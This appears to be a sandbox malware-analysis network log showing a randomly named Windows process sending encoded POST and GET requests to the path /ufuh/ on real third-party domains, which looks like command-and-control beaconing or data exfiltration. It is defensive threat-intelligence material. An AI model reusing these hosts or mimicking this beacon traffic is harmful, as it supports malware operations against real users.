May 2, 2024 08:29:02.445311069 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item" href="footer3-bg-img.html">Footer 3 Transparent</a></li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49190	154.41.250.58	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:08.842675924 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2159 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.ibistradingco.com Origin: http://www.ibistradingco.com Referer: http://www.ibistradingco.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 73 65 78 33 33 46 31 2b 79 4d 4a 67 4d 69 55 73 53 31 6a 58 4c 45 50 45 2f 37 56 75 32 6e 7a 49 4e 56 33 46 6f 78 52 37 58 6e 53 6e 50 68 38 6f 59 57 62 7a 30 6d 48 70 76 5a 43 59 54 48 63 30 2b 4d 33 55 56 38 75 4a 78 73 72 53 6f 73 45 49 44 4f 4a 50 51 37 59 31 67 43 38 77 72 70 31 2f 71 4c 4f 50 6b 63 62 49 4f 4b 68 48 32 41 31 4d 61 39 52 66 4c 2f 4a 45 45 68 50 75 51 34 68 59 78 62 64 6c 2b 2b 76 57 4e 38 65 4d 4d 73 57 69 4d 44 71 7a 4f 6e 70 6f 2b 61 73 2b 67 59 48 62 31 6c 2f 70 49 46 61 51 52 7a 74 2f 5a 30 39 64 45 62 57 6e 74 65 74 31 31 37 79 68 73 49 67 42 77 67 72 47 52 42 67 6b 4a 43 67 54 76 6a 48 69 62 34 31 70 4d 77 4b 56 76 70 2f 4c 6b 34 35 59 47 66 48 39 4a 41 65 44 75 72 48 46 63 53 43 56 4e 54 33 37 51 42 52 61 6a 6a 64 38 32 4a 36 2f 45 30 4d 38 6e 38 32 38 38 69 33 48 34 4a 34 75 4b 65 35 46 53 6c 78 50 55 69 51 2f 75 48 45 39 58 35 58 57 43 72 6e 41 4b 52 68 74 78 51 55 73 59 4e 51 46 46 61 71 69 58 56 51 50 72 35 79 77 43 33 75 58 38 6e 76 61 76 6d 45 35 50 58 76 [TRUNCATED] Data Ascii: pl=sex33F1+yMJgMiUsS1jXLEPE/7Vu2nzINV3FoxR7XnSnPh8oYWbz0mHpvZCYTHc0+M3UV8uJxsrSosEIDOJPQ7Y1gC8wrp1/qLOPkcbIOKhH2A1Ma9RfL/JEEhPuQ4hYxbdl++vWN8eMMsWiMDqzOnpo+as+gYHb1l/pIFaQRzt/Z09dEbWntet117yhsIgBwgrGRBgkJCgTvjHib41pMwKVvp/Lk45YGfH9JAeDurHFcSCVNT37QBRajjd82J6/E0M8n8288i3H4J4uKe5FSlxPUiQ/uHE9X5XWCrnAKRhtxQUsYNQFFaqiXVQPr5ywC3uX8nvavmE5PXvFq1Us6hmw7eSsbAOMMJrtev8cb1kLe+IvwCjRLoyl0oSYHujGfdwwHm6qJ/X6PFdoKwYhyRXl5NG9+wYAuJPn+VdK11Hekx4SkNDuD4kTxxAGzPU8Cd9um5YWh2KKWDNofwAUiEed0PZV/sIB22QYDhJmuIAdNsfl3IpxAOebaCjN+Okq7akToXSaEcL8FjritUbd3ut6uVv+C8V/Ajgf3i7TQewMcGhM9qubh5krmy17zh6C3YmvpR3HB+iy/NoRG3PtS3XowFaKJdM4T8UABRnTeBcwZJTfrK/Zt6ZuCgoMK5nxqy9WJxYZZPB8FM8sycH8fwa8kA4glV1jX+MwHw/zNK7VETp/BR00zp3S6lM3O52immDRmnw+MtpvIhd3xz6A4CDdcvlhwpT74oK1G2CfwPjXg4y2gi/p1vQYRLZws+cXPIpQoH9XyZGwNPWQPr4tzWvjybK0KouNrO/FQw0kCKnak/c6JzQ4UUQMfiUpRitPfI30QJfD3LAZcd+xXyMoS2C4IMd8dszKX3K0c8gPrXf/7F5jmry60pQbVWMLQrpyWPIvQLOmr2TGPNTCbEKm9XS6GgjPm0zHRZ+CKhJ1rmJuoz5bABSntwqiZLBKKH7mKI8xxov6O5k8vwHHOicivXBd8kb09pb5V2kHO81EL71lX2LV7 [TRUNCATED]
May 2, 2024 08:29:08.935570002 CEST	118	OUT	Data Raw: 65 44 71 45 4e 6b 66 51 30 71 37 5a 32 63 79 66 70 33 62 5a 4e 62 4c 67 4d 57 56 2b 4d 7a 34 64 58 4b 33 74 6d 75 4e 39 62 4d 70 51 76 74 61 54 45 4e 38 5a 35 73 62 49 2f 6c 39 6a 30 48 76 53 74 4d 5a 6a 79 56 51 6d 2f 61 7a 6f 43 63 38 4b 30 50 Data Ascii: eDqENkfQ0q7Z2cyfp3bZNbLgMWV+Mz4dXK3tmuN9bMpQvtaTEN8Z5sbI/l9j0HvStMZjyVQm/azoCc8K0PqD/LIfWFm53owv17bklnV781+6wRBuq6x/49
May 2, 2024 08:29:09.161247969 CEST	1215	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Thu, 02 May 2024 06:29:09 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.ibistradingco.com/ufuh/ platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: a54f67c612fa70fbcea8d17f71763a4a-bos-edge1 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.132 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49191	154.41.250.58	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:11.456959963 CEST	735	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 199 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.ibistradingco.com Origin: http://www.ibistradingco.com Referer: http://www.ibistradingco.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 73 65 78 33 33 46 31 2b 79 4d 4a 67 4d 68 4d 73 53 6b 6a 58 4a 6b 50 45 36 37 56 75 2f 48 7a 30 4e 56 7a 38 6f 31 68 52 58 58 71 6e 50 7a 6b 6f 59 67 50 7a 7a 6d 48 71 36 70 43 6d 64 6e 64 75 2b 4d 33 69 56 39 43 4a 78 73 2f 53 70 50 38 49 54 36 56 41 49 62 59 7a 73 69 38 67 72 70 78 36 71 4d 47 66 6b 59 76 49 4f 49 6c 48 33 41 6c 4d 66 65 35 66 65 66 4a 4b 47 68 50 39 51 35 63 63 78 62 74 74 2b 2f 44 57 4e 4e 43 4d 56 59 43 69 49 53 71 7a 46 48 70 6c 6b 4b 74 62 72 74 71 78 77 57 58 48 57 31 54 32 65 7a 70 73 55 31 4e 62 4f 74 61 52 38 65 45 61 2b 4c 62 68 69 37 4a 2f 6d 51 3d 3d Data Ascii: pl=sex33F1+yMJgMhMsSkjXJkPE67Vu/Hz0NVz8o1hRXXqnPzkoYgPzzmHq6pCmdndu+M3iV9CJxs/SpP8IT6VAIbYzsi8grpx6qMGfkYvIOIlH3AlMfe5fefJKGhP9Q5ccxbtt+/DWNNCMVYCiISqzFHplkKtbrtqxwWXHW1T2ezpsU1NbOtaR8eEa+Lbhi7J/mQ==
May 2, 2024 08:29:11.683789968 CEST	1215	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Thu, 02 May 2024 06:29:11 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.ibistradingco.com/ufuh/ platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 06774e0986593b81910e21be858c9502-bos-edge3 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.133 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49192	154.41.250.58	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:14.084063053 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3623 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.ibistradingco.com Origin: http://www.ibistradingco.com Referer: http://www.ibistradingco.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 73 65 78 33 33 46 31 2b 79 4d 4a 67 4e 46 77 73 56 44 58 58 63 30 50 48 77 62 56 75 32 6e 7a 4b 4e 56 33 38 6f 78 52 37 58 69 36 6e 50 69 30 6f 59 47 62 7a 31 6d 48 71 75 5a 43 59 54 48 63 33 2b 4d 6a 45 56 38 79 33 78 76 54 53 6f 73 6f 49 44 50 4a 50 52 37 59 31 6f 69 38 68 72 70 77 75 71 4e 71 62 6b 59 69 6c 4f 49 74 48 33 79 64 4d 58 4f 35 63 64 66 4a 4b 47 68 50 35 51 35 64 50 78 62 56 31 2b 2b 4b 4f 4e 37 6d 4d 51 4d 57 69 4b 7a 71 77 48 48 70 68 6f 71 73 77 67 59 44 6d 31 6c 2f 74 49 46 66 31 52 7a 68 2f 59 69 70 64 45 63 69 6b 30 75 74 30 78 37 79 68 68 6f 67 44 77 67 72 61 52 42 67 6b 4a 42 30 54 75 7a 48 69 62 36 52 6f 52 67 4b 56 78 35 2f 57 72 59 6b 70 47 66 43 63 4a 44 48 32 75 35 72 46 64 52 36 56 4a 6a 33 37 45 68 52 63 6a 6a 64 37 74 5a 36 4a 45 33 39 4c 6e 38 47 73 38 69 33 48 34 4b 77 75 50 49 56 46 62 56 78 50 63 43 51 2b 35 58 45 2b 58 35 69 42 43 75 62 41 4b 51 70 74 77 6a 38 73 65 49 45 4b 50 4b 71 76 64 31 51 4e 39 35 79 6c 43 33 79 78 38 6e 32 2f 76 6c 4d 35 50 56 33 [TRUNCATED] Data Ascii: pl=sex33F1+yMJgNFwsVDXXc0PHwbVu2nzKNV38oxR7Xi6nPi0oYGbz1mHquZCYTHc3+MjEV8y3xvTSosoIDPJPR7Y1oi8hrpwuqNqbkYilOItH3ydMXO5cdfJKGhP5Q5dPxbV1++KON7mMQMWiKzqwHHphoqswgYDm1l/tIFf1Rzh/YipdEcik0ut0x7yhhogDwgraRBgkJB0TuzHib6RoRgKVx5/WrYkpGfCcJDH2u5rFdR6VJj37EhRcjjd7tZ6JE39Ln8Gs8i3H4KwuPIVFbVxPcCQ+5XE+X5iBCubAKQptwj8seIEKPKqvd1QN95ylC3yx8n2/vlM5PV3Fsggs6Rm3z+SWfACIMISKevImb2gLeqcv3BLQF4yjzoSWQ+i1fdkeHnaqIOf6OBpoOHEulRWtztGqwQYUuJLv+UNa1k3eiB4SpPrtLIka6hBH6vUuCd8Xm9EogGCKWAFofDoUiEeSxPZTxMUj22UcDi92uO8dN8vl3NVxNOebOSiLsOkO7ZYtoW7lHs38FAzivXzd/ut8sVv/fsUVAn8f3nL6QfIMcjVM9PObn5lsqS07zh6k3YiZpRm6B9Gy/MoRXmPtV3XtyFaWftMbT8cQBQr5eAUwLabfo/TZtaZgAgoMEZmxqylsJ0QjZO58G9sslsHzFga/og4vzV08X+cwHxDzNKDVEkV/Gg00up3Q0FMxAp6CmmTsmiAuMvtvOlx3mBDWySDfZvlrmZTX4oKxG0yPw/DXgK62wz/q0PQDfrZryOdgPIZ2oHZ5n+2wNOmQPYQtzmvjybK7KouJrOzRQwEOCKnarOc6JA04NkQNRyUEHStBfJDSQNL93IEZTsexXyMvW2C/Dcd9ds3XX3Kac8sPqkz/43xjmIa69pQbf2MEJ7oVWPJiQJ62rz/GP5jCXmSh1HS7TwjdvUvYRZzEKht1rUNupi5bARSnuQqjWrBfVX3qKMcXxpfqPI08vD/HMjchkHBYw0ay9pWHV2sfO8s5L9hlZ2LV9 [TRUNCATED]
May 2, 2024 08:29:14.177433968 CEST	1582	OUT	Data Raw: 66 70 36 55 4d 37 66 51 31 33 37 5a 2b 59 79 65 46 64 62 59 46 62 4c 69 30 57 54 4f 4d 77 2b 74 57 42 36 4e 6e 70 4e 39 57 6d 70 51 6e 44 61 54 30 4e 38 63 70 73 61 70 50 6c 36 6a 30 48 79 43 74 7a 47 54 79 48 4f 57 7a 5a 7a 6f 50 58 75 66 6f 4a Data Ascii: fp6UM7fQ137Z+YyeFdbYFbLi0WTOMw+tWB6NnpN9WmpQnDaT0N8cpsapPl6j0HyCtzGTyHOWzZzoPXufoJsG2tFciRmLvyhflpYnZ4YowM3Kx0CIDvx4tiKI29DSRCrhPnADOaC4yxs2I0r4rSrgt+9MR4B2wQx3/JU3bUBF2MXiBqRoe/VPUnwJFjWNvabwZRdBXDGxaswrwTOGnojKUKNGA+iWEfoOZIYVlNwDgZBDzlKjxH5
May 2, 2024 08:29:14.407983065 CEST	1215	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Thu, 02 May 2024 06:29:14 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.ibistradingco.com/ufuh/ platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 1a31ccf64c83a1f6fc09f744dcc4345a-bos-edge1 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.137 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49193	154.41.250.58	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:16.698314905 CEST	470	OUT	GET /ufuh/?pl=hcZX01VSmexgOFZwe0PcJnDn64JizU3MIAbqwzBBfnOXJDQ4bl307S3dnZeIWVgo7b/xQLPX/O/pu59XEvJBdpQtuyZPu55k1rSFoeWQFZxG8CIiSfRAJf8aFXer&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.ibistradingco.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 2, 2024 08:29:16.926501989 CEST	1289	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Thu, 02 May 2024 06:29:16 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.ibistradingco.com/ufuh/?pl=hcZX01VSmexgOFZwe0PcJnDn64JizU3MIAbqwzBBfnOXJDQ4bl307S3dnZeIWVgo7b/xQLPX/O/pu59XEvJBdpQtuyZPu55k1rSFoeWQFZxG8CIiSfRAJf8aFXer&5h1t=6H6PKFvXjtI4u8k platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 35ab4bcfd5b56cd95859fe76c1fcca66-bos-edge1 x-hcdn-cache-status: MISS x-hcdn-upstream-rt: 0.132 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>
May 2, 2024 08:29:16.926553965 CEST	72	IN	Data Raw: 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49194	183.111.183.31	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:27.912276983 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2159 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.jnkinteractive.co.kr Origin: http://www.jnkinteractive.co.kr Referer: http://www.jnkinteractive.co.kr/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 4a 5a 4b 78 62 51 54 58 56 47 71 65 42 57 2f 7a 41 62 47 61 36 37 6c 77 72 61 71 50 56 35 59 44 6f 59 6b 47 47 34 6b 57 6d 76 4c 42 4e 64 73 65 43 4c 49 4f 4f 41 4d 36 73 4f 4d 61 46 79 67 6a 48 62 4d 30 48 4b 6f 61 68 6f 4b 77 79 51 32 54 51 5a 47 74 74 51 43 53 4c 73 6c 4e 75 67 63 63 32 4f 44 4c 71 2b 61 6c 39 70 2f 4d 74 2b 65 33 4d 75 45 33 2f 36 5a 47 75 2b 52 4b 33 77 4e 78 47 50 2b 6e 38 4d 77 42 42 56 75 30 7a 57 2f 55 35 55 38 64 53 69 53 53 45 69 44 37 39 47 41 4b 44 4a 6e 65 53 2f 31 54 30 67 76 6d 32 56 72 70 34 72 6e 30 67 79 62 69 65 76 79 53 77 4d 44 4b 64 39 58 77 79 4d 51 64 45 44 73 51 42 54 32 79 4a 66 33 38 61 4e 31 4f 34 43 48 31 6b 54 36 59 63 42 53 44 62 43 77 43 36 73 41 73 4d 70 33 46 76 62 65 65 5a 5a 6d 52 58 6f 62 74 66 63 58 4d 4f 6f 57 58 54 69 57 52 68 44 4e 55 59 51 49 32 47 2f 6e 4d 6f 61 59 36 49 2b 43 58 57 52 51 73 32 6e 65 54 44 55 42 57 74 49 4b 62 67 6a 70 77 51 46 55 6f 6e 38 58 64 47 49 62 48 59 55 6a 4f 77 6c 36 61 55 72 4f 63 42 71 65 4e 37 55 69 [TRUNCATED] Data Ascii: 